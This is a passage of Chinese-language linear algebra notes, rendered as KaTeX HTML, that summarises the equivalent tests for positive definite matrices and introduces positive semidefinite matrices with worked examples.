class="mord">0</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><mi>A</mi><mi>x</mi><mi mathvariant="normal">∣</mi><msup><mi mathvariant="normal">∣</mi><mn>2</mn></msup><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> || A x ||^2 &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord">∣∣</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mord"><span class="mord">∣</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><hr /><p>综上，当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 是正定矩阵，有以下五个等价条件：</p><ol><li><p>所有特征值均为正数。</p></li><li><p>所有主元均为正数。</p></li><li><p>对于所有非零向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T S x &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8804em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p></li><li><p>存在满秩矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> S = A^T A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span>。</p></li><li><p>所有左上三角子矩阵的行列式均为正数，即 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>s</mi><mn>11</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>&gt;</mo><mn>0</mn><mo separator="true">,</mo><mi>d</mi><mi>e</mi><mi>t</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>s</mi><mn>11</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>s</mi><mn>12</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>s</mi><mn>21</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>s</mi><mn>22</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>&gt;</mo><mn>0</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>S</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det \begin{bmatrix} s_{11} \end{bmatrix} &gt; 0, det \begin{bmatrix} s_{11} &amp; s_{12} \\ s_{21} &amp; s_{22} \end{bmatrix} &gt; 0, \ldots, det(S) &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p></p></li></ol><h2 id="positive-semidefinite-matrices-正半定矩阵"><a class="markdownIt-Anchor" href="#positive-semidefinite-matrices-正半定矩阵"></a> Positive Semidefinite Matrices 正半定矩阵</h2><p>当矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 满足对于所有非零向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>≥</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T S x \geq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9773em;vertical-align:-0.136em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 时，称其为正半定矩阵，这包括正定矩阵和一些奇异矩阵。</p><p>以及它的特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex">\lambda</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span> 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mi>i</mi></msub><mo>≥</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\lambda_i \geq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>比如 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>S</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> S = \begin{bmatrix} 1 &amp; 0 \\ 0 &amp; 0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p> 和 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>T</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> T = \begin{bmatrix} 2 &amp;-1 &amp; -1 \\ -1 &amp; 2 &amp; -1 \\ -1 &amp; -1 &amp; 2 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></p><p>同时，将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 分解为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex">A^TA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> R(A^TA) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，比如</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>8</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">A^T A  = \begin{bmatrix} 1 &amp; 1 \\ 2 &amp; 2 \end{bmatrix} \begin{bmatrix} 1 &amp; 2 \\ 1 &amp; 2 \end{bmatrix} = \begin{bmatrix} 2 &amp; 4 \\ 4 &amp; 8 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span 